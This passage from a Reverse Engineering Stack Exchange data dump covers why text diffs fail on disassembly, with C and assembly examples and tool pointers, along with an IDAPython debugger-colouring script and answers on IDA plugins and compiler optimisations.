iteration&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now let us modify the program a little and then assemble it again, just to see how it looks.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;C version&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int syntax_help(int argc)&#xA;{&#xA;        switch (argc)&#xA;        {&#xA;        case 0:&#xA;                return -1;&#xA;        case 1:&#xA;                return 23;&#xA;        default:&#xA;                return 20 + argc;&#xA;        }&#xA;}&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;        if (argc &amp;lt; 5)&#xA;                return syntax_help(argc);&#xA;        else if (argc == 5)&#xA;                return 42;&#xA;        // else ...&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the two instances of &lt;code&gt;3&lt;/code&gt; in &lt;code&gt;main&lt;/code&gt; changed to &lt;code&gt;5&lt;/code&gt; and we tinkered a bit with the &quot;logic&quot; in &lt;code&gt;syntax_help&lt;/code&gt;. Clearly this is a contrived example, but then that's the exact point.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Assembly language version (same options as above)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.globl syntax_help&#xA;        .type   syntax_help, @function&#xA;syntax_help:&#xA;        push    ebp&#xA;        mov     ebp, esp&#xA;        mov     eax, DWORD PTR [ebp+8]&#xA;        test    eax, eax&#xA;        je      .L3&#xA;        cmp     eax, 1&#xA;        je      .L4&#xA;        jmp     .L7&#xA;.L3:&#xA;        mov     eax, -1&#xA;        jmp     .L5&#xA;.L4:&#xA;        mov     eax, 23&#xA;        jmp     .L5&#xA;.L7:&#xA;        mov     eax, DWORD PTR [ebp+8]&#xA;        add     eax, 20&#xA;.L5:&#xA;        pop     ebp&#xA;        ret&#xA;        .size   syntax_help, .-syntax_help&#xA;.globl main&#xA;        .type   main, @function&#xA;main:&#xA;        push    ebp&#xA;        mov     ebp, esp&#xA;        sub     esp, 4&#xA;        cmp     DWORD PTR [ebp+8], 4&#xA;        jg      .L9&#xA;        mov     eax, DWORD PTR [ebp+8]&#xA;        mov     DWORD PTR [esp], eax&#xA;        call    syntax_help&#xA;        jmp     .L10&#xA;.L9:&#xA;        cmp     DWORD PTR [ebp+8], 5&#xA;        jne     .L11&#xA;        mov     eax, 42&#xA;        jmp     .L10&#xA;.L11:&#xA;        mov     eax, 0&#xA;.L10:&#xA;        leave&#xA;        ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's a mouthful. Now let's dig into one difference - aside from the &quot;optimization&quot; aspect - between this and a potential human-written piece of assembly that does the same. Here's what a human-written version might look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.globl syntax_help&#xA;    .type   syntax_help, @function&#xA;syntax_help:&#xA;    push    ebp&#xA;    mov ebp, esp&#xA;    mov eax, DWORD PTR [ebp+8]&#xA;    test    eax, eax&#xA;    je  .zero_args&#xA;    cmp eax, 1&#xA;    je  .one_arg&#xA;    jmp .return_20plus&#xA;.zero_args:&#xA;    mov eax, -1&#xA;    jmp .exit_help&#xA;.one_arg:&#xA;    mov eax, 23&#xA;    jmp .exit_help&#xA;.return_20plus:&#xA;    mov eax, DWORD PTR [ebp+8]&#xA;    add eax, 20&#xA;.exit_help:&#xA;    pop ebp&#xA;    ret&#xA;    .size   syntax_help, .-syntax_help&#xA;.globl main&#xA;    .type   main, @function&#xA;main:&#xA;    push    ebp&#xA;    mov ebp, esp&#xA;    sub esp, 4&#xA;    cmp DWORD PTR [ebp+8], 4&#xA;    jg  .return_42&#xA;    mov eax, DWORD PTR [ebp+8]&#xA;    mov DWORD PTR [esp], eax&#xA;    call    syntax_help&#xA;    jmp .exit&#xA;.return_42:&#xA;    cmp DWORD PTR [ebp+8], 5&#xA;    jne .return_0&#xA;    mov eax, 42&#xA;    jmp .exit&#xA;.return_0:&#xA;    mov eax, 0&#xA;.exit:&#xA;    leave&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone who has ever written assembly code will inevitably notice how I am not declaring variables (&lt;code&gt;db&lt;/code&gt;, &lt;code&gt;dw&lt;/code&gt;, &lt;code&gt;dd&lt;/code&gt;) here. This would be the normal course of action, but of course here I was merely showing that we humans tend to give symbolic names to code locations (and variables). If you hand write assembly, it would look still different, I merely adjusted the code to look a bit more like what a human might write (i.e. it's not perfect and certainly not &quot;hand-optimized&quot;). The compiler will stubbornly and efficiently tack a number on some kind of lettered prefix and be done with it. Let's also create a possible human-written version of the first iteration, using the same names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.globl syntax_help&#xA;    .type   syntax_help, @function&#xA;syntax_help:&#xA;    push    ebp&#xA;    mov ebp, esp&#xA;    mov eax, DWORD PTR [ebp+8]&#xA;    add eax, 20&#xA;    pop ebp&#xA;    ret&#xA;    .size   syntax_help, .-syntax_help&#xA;.globl main&#xA;    .type   main, @function&#xA;main:&#xA;    push    ebp&#xA;    mov ebp, esp&#xA;    sub esp, 4&#xA;    cmp DWORD PTR [ebp+8], 2&#xA;    jg  .return_42&#xA;    mov eax, DWORD PTR [ebp+8]&#xA;    mov DWORD PTR [esp], eax&#xA;    call    syntax_help&#xA;    jmp .exit&#xA;.return_42:&#xA;    cmp DWORD PTR [ebp+8], 3&#xA;    jne .return_0&#xA;    mov eax, 42&#xA;    jmp .exit&#xA;.return_0:&#xA;    mov eax, 0&#xA;.exit:&#xA;    leave&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Comparing compiler-generated assembly code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's the output of &lt;code&gt;diff ptest1.asm ptest2.asm&lt;/code&gt; (the compiler-generated form):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1c1&#xA;&amp;lt;       .file   &quot;ptest1.c&quot;&#xA;---&#xA;&amp;gt;       .file   &quot;ptest2.c&quot;&#xA;9a10,22&#xA;&amp;gt;       test    eax, eax&#xA;&amp;gt;       je      .L3&#xA;&amp;gt;       cmp     eax, 1&#xA;&amp;gt;       je      .L4&#xA;&amp;gt;       jmp     .L7&#xA;&amp;gt; .L3:&#xA;&amp;gt;       mov     eax, -1&#xA;&amp;gt;       jmp     .L5&#xA;&amp;gt; .L4:&#xA;&amp;gt;       mov     eax, 23&#xA;&amp;gt;       jmp     .L5&#xA;&amp;gt; .L7:&#xA;&amp;gt;       mov     eax, DWORD PTR [ebp+8]&#xA;10a24&#xA;&amp;gt; .L5:&#xA;20,21c34,35&#xA;&amp;lt;       cmp     DWORD PTR [ebp+8], 2&#xA;&amp;lt;       jg      .L4&#xA;---&#xA;&amp;gt;       cmp     DWORD PTR [ebp+8], 4&#xA;&amp;gt;       jg      .L9&#xA;25,28c39,42&#xA;&amp;lt;       jmp     .L5&#xA;&amp;lt; .L4:&#xA;&amp;lt;       cmp     DWORD PTR [ebp+8], 3&#xA;&amp;lt;       jne     .L6&#xA;---&#xA;&amp;gt;       jmp     .L10&#xA;&amp;gt; .L9:&#xA;&amp;gt;       cmp     DWORD PTR [ebp+8], 5&#xA;&amp;gt;       jne     .L11&#xA;30,31c44,45&#xA;&amp;lt;       jmp     .L5&#xA;&amp;lt; .L6:&#xA;---&#xA;&amp;gt;       jmp     .L10&#xA;&amp;gt; .L11:&#xA;33c47&#xA;&amp;lt; .L5:&#xA;---&#xA;&amp;gt; .L10:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not exactly helpful to understanding the differences, is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://winmerge.org/&quot; rel=&quot;noreferrer&quot;&gt;WinMerge&lt;/a&gt; provides a more visual result. Chaos ensues ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QCNpW.png&quot; alt=&quot;WinMerge diff of ptest1.asm and ptest2.asm&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: I decided to not doctor a full height screenshot, instead pay attention to the left pane which highlights the differences (yellow) and missing blocks (gray) and moved blocks (brown...ish).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Comparing &quot;human-written&quot; assembly code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's the output of &lt;code&gt;diff ptest1.asm-human ptest2.asm-human&lt;/code&gt; (&quot;human-written&quot; form):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6a7,19&#xA;&amp;gt;       test    eax, eax&#xA;&amp;gt;       je      .zero_args&#xA;&amp;gt;       cmp     eax, 1&#xA;&amp;gt;       je      .one_arg&#xA;&amp;gt;       jmp     .return_20plus&#xA;&amp;gt; .zero_args:&#xA;&amp;gt;       mov     eax, -1&#xA;&amp;gt;       jmp     .exit_help&#xA;&amp;gt; .one_arg:&#xA;&amp;gt;       mov     eax, 23&#xA;&amp;gt;       jmp     .exit_help&#xA;&amp;gt; .return_20plus:&#xA;&amp;gt;       mov     eax, DWORD PTR [ebp+8]&#xA;7a21&#xA;&amp;gt; .exit_help:&#xA;17c31&#xA;&amp;lt;       cmp     DWORD PTR [ebp+8], 2&#xA;---&#xA;&amp;gt;       cmp     DWORD PTR [ebp+8], 4&#xA;24c38&#xA;&amp;lt;       cmp     DWORD PTR [ebp+8], 3&#xA;---&#xA;&amp;gt;       cmp     DWORD PTR [ebp+8], 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whoa, that's actually almost readable. Use &lt;code&gt;colordiff&lt;/code&gt; and it's useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The respective visual comparison in WinMerge looks downright readable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqPY9.png&quot; alt=&quot;WinMerge diff of ptest1.asm-human and ptest2.asm-human&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Interlude - basic blocks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A disassembler can only be smart to a certain extent, because it's a program. Even IDA Pro, hands down the most advanced disassembler as of this writing, will not be able to guess everything right - e.g. when distinguishing code or data. But the more sophisticated tools do a &lt;em&gt;pretty&lt;/em&gt; good job at it. And IDA adds the &lt;strong&gt;I&lt;/strong&gt; as &lt;strong&gt;interactive&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing disassemblers encounter are what assembly programmers is known as &lt;strong&gt;labels&lt;/strong&gt; and &lt;strong&gt;(sub)routines&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Labels, although they exist in C and are (rightly) frowned upon together with &lt;code&gt;goto&lt;/code&gt;, also exist in higher level language, but tend to cover a somewhat different concept. Perhaps the closest to the assembly language concept were the labels in the good old days of &lt;a href=&quot;https://en.wikipedia.org/wiki/BASIC&quot; rel=&quot;noreferrer&quot;&gt;BASIC&lt;/a&gt;. When you compile C into assembly code, however, every condition gets translated into a conditional or unconditional jump (&lt;code&gt;jmp&lt;/code&gt;, &lt;code&gt;je&lt;/code&gt;, &lt;code&gt;jg&lt;/code&gt;, &lt;code&gt;jne&lt;/code&gt; in the above compiler-generated code). The jump targets are referred to as &lt;strong&gt;labels&lt;/strong&gt;. The jumps are the places where the code &lt;strong&gt;branches&lt;/strong&gt; conditionally or unconditionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest corresponding concept to a routine would be a function in C or the &lt;code&gt;procedure&lt;/code&gt;/&lt;code&gt;function&lt;/code&gt; in Pascal or the &lt;code&gt;sub&lt;/code&gt; in BASIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More or less each of the chunks of code between two branching instructions, other than &lt;code&gt;call&lt;/code&gt;, are called &lt;strong&gt;basic blocks&lt;/strong&gt;. In IDA Pro this is neatly visualized in the graph view (can be toggled with flat view via default &lt;kbd&gt;Space&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y8Puh.png&quot; alt=&quot;IDA Pro graph view demonstrating a visualization of basic blocks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of the blocks linked by the arrows in the main IDA-view would be a &lt;strong&gt;basic block&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Again, why it is a hard task to compare binary executable code?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By now you should have a faint idea what makes the comparison hard, but let's go the extra mile. Let's switch from comparing the compiler-generated and &quot;human-written&quot; assembly code to actual disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As before we will stick to the gist of it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Compiler-generated versus disassembly&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;But just to mention it, in the disassembly you have the result after the &lt;a href=&quot;https://en.wikipedia.org/wiki/Linker_%28computing%29&quot; rel=&quot;noreferrer&quot;&gt;linker&lt;/a&gt; &lt;em&gt;mangled&lt;/em&gt; it. The compiler-generated assembly from before contained merely the code &lt;em&gt;we&lt;/em&gt; had written in the sample program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to give you an idea, I generated an &lt;code&gt;.asm&lt;/code&gt; file using IDA, stripped it down to everything without comments and empty lines and still ended up with 362 lines, as opposed to 52 lines in the original compiler-generated assembly which included meta-data used by the linker. This whopping difference can of course be attributed to the linker adding all kinds of code required to initialize the executable. In fewer words: it's boiler plate code the compiler (or more precisely its linker) adds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this comparison I am going to leave out this boiler plate code entirely, although obviously this only adds to the complexity a &lt;code&gt;diff&lt;/code&gt; tool will encounter when comparing binary executable code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike in the IDA screenshot above, which shows &lt;code&gt;ptest2.c&lt;/code&gt; disassembled, in reality you will mostly have to work without &lt;a href=&quot;https://en.wikipedia.org/wiki/Debug_symbol&quot; rel=&quot;noreferrer&quot;&gt;debug symbols&lt;/a&gt;. This means the names such as &lt;code&gt;main&lt;/code&gt; and &lt;code&gt;syntax_help&lt;/code&gt; will no longer exist. Instead disassemblers such as IDA Pro mostly resort to naming the routines after their offset (e.g. &lt;code&gt;sub_80483DB&lt;/code&gt;). It applies the same for labels (i.e. naming those &lt;code&gt;loc_80483F4&lt;/code&gt; or &lt;code&gt;locret_something&lt;/code&gt;). Of course the reverse engineer is free to change these names to something more readable/recognizable for herself. But the default names still depend on the offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact the disassembler will have a hard time to identify the &lt;code&gt;main&lt;/code&gt; function, because the aforementioned boiler plate code tends to come &lt;em&gt;before&lt;/em&gt; it when looking at it starting from the entry point of the executable. Here's what IDA shows you if there are no symbols available to the compiled &lt;code&gt;ptest2.c&lt;/code&gt; from before (i.e. ran &lt;code&gt;strip -s ...&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XTlLt.png&quot; alt=&quot;IDA Pro showing the entry point of compiled &amp;lt;code&amp;gt;ptest2.c&amp;lt;/code&amp;gt;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's look at the entry point for the compiled (and stripped) &lt;code&gt;ptest1.c&lt;/code&gt; as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o0tAE.png&quot; alt=&quot;IDA Pro showing the entry point of compiled &amp;lt;code&amp;gt;ptest2.c&amp;lt;/code&amp;gt;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you notice the difference? It's subtle, but let me put them side to side for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L5jXL.png&quot; alt=&quot;Side by side comparison&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, the highlighted lines ... ooh the offsets differ. What does that mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, it means that the symbolic names IDA Pro assigns to routines and also to labels (i.e. basic blocks) will differ based on the offset of these entities within the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very similar indeed to what we encountered before with the compiler-generated assembly code and the numbered label names.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using a simpler disassembler&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Let's compare the relevant pieces of code created by a simpler disassembler in a text differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;objdump -M intel -d ...&lt;/code&gt; and then getting rid of the leading offsets and spaces we get this for the relevant parts in WinMerge:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nn9X8.png&quot; alt=&quot;WinMerge of the disassembly created with objdump&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full commands were:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -M intel -d ptest1.stripped|grep '^ 80'|cut -f 2- -d ':'|sed 's/^\s*//g'&#xA;objdump -M intel -d ptest2.stripped|grep '^ 80'|cut -f 2- -d ':'|sed 's/^\s*//g'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This means text diffing tools such as &lt;code&gt;diff&lt;/code&gt;, &lt;code&gt;kdiff3&lt;/code&gt;, &lt;code&gt;WinMerge&lt;/code&gt; and many others will have a hard time comparing disassemblies unless the reverse engineer took the time to rename all routines and labels to something not based on the offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact this becomes an almost insurmountable task when facing a disassembly in textual form. The internal form IDA Pro keeps of the disassembly is much more suitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In text form every single changed offset - and there will be loads of those - will draw your attention because it is a difference to a text differ.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Solutions&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Not that we know the problem, what can we do about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic blocks are the answer to the problem at hand. Tools like &lt;a href=&quot;http://www.darungrim.org&quot; rel=&quot;noreferrer&quot;&gt;DarunGrim&lt;/a&gt; (FLOSS), &lt;a href=&quot;http://code.google.com/p/patchdiff2/&quot; rel=&quot;noreferrer&quot;&gt;patchdiff2&lt;/a&gt; (FLOSS) and Bindiff (commercial) use IDA's knowledge about basic blocks to build graphs. These graphs can then be used to identify similar and different blocks. With the abstraction in the form of a graph the visualization can be superimposed on the respective view inside IDA or a specialized view can be offered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see, when you export your disassembly to a text file, you are stripping a whole lot of contextual information from it which IDA keeps for you in its database. Instead draw from the information IDA already has and use it. Plugins and scripts allow you to reach into the guts of the IDA database and extract what treasures are in there to make sense of basic blocks in a way a text differ will never be able to.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Tools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For a listing of tools able to tackle the task, refer to the answers to the question which sparked &lt;em&gt;this&lt;/em&gt; one:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1879&quot;&gt;how can I diff two x86 binaries at assembly code level?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Further reading&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Make sure to read &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1907/245&quot;&gt;Rolf's answer&lt;/a&gt; below!&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1511/245&quot;&gt;How BinDiff works&lt;/a&gt;, answer by newgre&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.darungrim.org/Presentations&quot; rel=&quot;noreferrer&quot;&gt;http://www.darungrim.org/Presentations&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.darungrim.org/Researches&quot; rel=&quot;noreferrer&quot;&gt;http://www.darungrim.org/Researches&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;TL;DR&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The reason text differs are insufficient for handling textual disassembly is because the textual representation discards valuable information the disassembler collects during the process of disassembling. Also disassemblers name the code locations and variables after their offsets - changes to a program with subsequent recompilation &lt;strong&gt;will change virtually all offsets and therefore create a lot of noise&lt;/strong&gt; in the textual representation. Text differs will point out every single one, making it impossible to find the &lt;em&gt;relevant&lt;/em&gt; changes from the reverse engineer's point of view.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-23T12:21:53.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1904" PostTypeId="2" ParentId="1899" CreationDate="2013-04-22T22:56:05.980" Score="4" Body="&lt;p&gt;The &lt;em&gt;debughook.py&lt;/em&gt; example script from the &lt;a href=&quot;https://code.google.com/p/idapython/&quot; rel=&quot;nofollow&quot;&gt;idapython&lt;/a&gt; suite illustrates all debug events that can be processed by a debugger plugin.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example script&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's a very simple script that colorizes all instructions as you trace them with the debugger.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Simple script that colorizes all instruction the debugger halts at or&#xA;# the user traces with the debugger in yellow. Instruction that are hit&#xA;# a ssecond time are colored in red.&#xA;&#xA;from idaapi import *&#xA;from idc import *&#xA;&#xA;class Colorizer(DBG_Hooks):&#xA;&#xA;  def __init__(self):&#xA;    DBG_Hooks.__init__(self)&#xA;    self.locations_ = set()&#xA;&#xA;  def colorize(self, ea):&#xA;    if ea in self.locations_:&#xA;      SetColor(ea, CIC_ITEM, 0x2020c0)&#xA;    else:&#xA;      SetColor(ea, CIC_ITEM, 0x80ffff)&#xA;      self.locations_.add(ea)&#xA;&#xA;  def dbg_bpt(self, tid, ea):&#xA;    self.colorize(ea)&#xA;    return 0&#xA;&#xA;  def dbg_step_into(self):&#xA;    self.colorize(GetRegValue(&quot;eip&quot;))&#xA;&#xA;try:&#xA;  if debughook:&#xA;    print(&quot;Removing previous hook ...&quot;)&#xA;    debughook.unhook()&#xA;except:&#xA;  pass&#xA;&#xA;colorizer = Colorizer()&#xA;colorizer.hook()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Some notes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you read from process memory in one of your debugger callbacks, you need to call refresh_debugger_memory() first (see file comment for RefreshDebuggerMemory() in idc.py). If you can, avoid that call since it is somewhat expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily access all register via the cpu instance from the idautils package:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print &quot;EAX has the value: %X&quot; % cpu.Eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To read the current value from the top of the stack, use something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print &quot;TOS: %X&quot; % Dword(cpu.Esp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditDate="2013-04-22T23:17:09.950" LastActivityDate="2013-04-22T23:17:09.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1905" PostTypeId="2" ParentId="1899" CreationDate="2013-04-22T22:57:45.547" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593272898&quot; rel=&quot;nofollow&quot;&gt;The IDA Pro Book 2nd edition&lt;/a&gt; from Chris Eagle has a little info in chapter 24 on interacting with the debugger through IDC and the SDK, but is more automation focused. Other than that maybe reading the source of other plugins that are doing this such as the ARM debugger plugin referenced in the question and digging through dbg.hpp in the SDK to see what it exposes. It also appears the source for IDA's debugger plugins is available in plugins/debugger in the SDK. I haven't seen writing a debugger plugin specifically documented.&lt;/p&gt;&#xA;" OwnerUserId="1807" LastActivityDate="2013-04-22T22:57:45.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1906" PostTypeId="1" AcceptedAnswerId="1914" CreationDate="2013-04-22T23:19:41.360" Score="6" ViewCount="386" Body="&lt;p&gt;IDA Pro allows plugins to receive notifications for a number of events. These are defined in the &lt;code&gt;hook_type_t&lt;/code&gt; enumeration inside &lt;code&gt;loader.hpp&lt;/code&gt; in the SDK from what I saw. If I subscribe to &lt;code&gt;HT_IDB&lt;/code&gt; events, I have a host of options for notifications I can subscribe to (&lt;code&gt;event_code_t&lt;/code&gt; in &lt;code&gt;idp.hpp&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if I wanted to patch up &lt;a href=&quot;http://sourceforge.net/projects/collabreate/&quot; rel=&quot;nofollow&quot;&gt;collabREate&lt;/a&gt; by Chris Eagle to support anterior and posterior comments - how would I go about that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;colleabREate is a very useful piece of software, but in real collaboration scenarios these issues turn out to be real shortcomings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In short: how can I receive notifications to events in my plugin which Hex-Rays doesn't make available through the SDK as of yet?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-04-29T01:00:34.923" LastActivityDate="2013-04-29T01:00:34.923" Title="How can my plugin get notified of anterior or posterior comments (and more) changes to an IDA database?" Tags="|ida|ida-plugin|idapro-sdk|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1907" PostTypeId="2" ParentId="1902" CreationDate="2013-04-23T05:15:58.047" Score="10" Body="&lt;p&gt;Most of the problems come into play due to the fact that small changes to the source code can result in large changes to the compiled binary.  In fact, &lt;em&gt;no changes&lt;/em&gt; to the source code can still result in different binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compiler optimizations will wreck your day if you want to compare binaries.  The worst-case scenario is if you have two binaries compiled with different compilers, or different revisions of a compiler, or the same revision of a compiler at different optimization settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few examples that come to mind:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Inlining.  This optimization can actually remove functions entirely, and can change the control flow graph of the optimized function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Instruction scheduling re-orders the instructions within a given basic block in order to minimize pipeline stalls.  This wreaks havoc on UNIX diff-style tools.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Loop-invariant code motion.  This optimization can actually change the number of basic blocks within a function!  The same function compiled at different optimization levels can have a different control-flow signature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Intraprocedural register allocation.  Suppose that a function is changed by adding an if-statement somewhere that references some variable that was already defined within the function.  The act of using the variable again modifies the definition-use chains for the function's variables.  Now, when the compiler generates low-level code for a given function, it uses the use-def information to decide at each point which variables should be on the stack, and which ones should be placed in registers.  This is intraprocedural register allocation.  Therefore, it could turn out that simply adding one line of code results in the variables being held in different registers, and/or held on the stack instead of in registers (or vice versa) which obviously will affect what the compiled code looks like.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Interprocedural optimizations such as &quot;interprocedural register allocation&quot; (IRA), interprocedural common subexpression elimination (ICSE), etc. drastically affect the layout of the compiled binary, and they are also sensitive to minute changes in the source code.  For example, IRA will manufacture novel calling conventions for functions that are not required to conform to standard calling conventions, e.g. because they are not exported from their containing module or library, and are never referenced via function pointer.  ICSE can remove portions of code from a given function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Profile-guided optimization (PGO).  Under this optimization, the compiler first produces a binary with extra code that computes statistics about the program's runtime behavior.  The programmer then subjects the instrumented code to &quot;a typical workload&quot; and computes statistics.  Then, the programmer recompiles the program, supplying those statistics to the compiler and telling it to generate code via PGO.  The compiler then dramatically changes the layout of the binary by ordering the code by how frequently each function executed, which paths through the function were the most common, etc.  Different training sets will produce different statistical profiles, and hence vastly different executables.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is not an exhaustive list.  Many other optimizations will plague you.  It's mostly because of compiler optimizations that UNIX diff-style tools have little utility in the binary comparison space.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-23T05:15:58.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1908" PostTypeId="2" ParentId="1906" CreationDate="2013-04-23T05:18:58.743" Score="1" Body="&lt;p&gt;I have written a plugin like this myself.  As far as I know, this is impossible to do within the SDK.  It is simply the case that some events do not trigger notifications and hence can not be responded to.  This is not the fault of collabREate, but rather, a built-in limitation of IDA.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-23T05:18:58.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
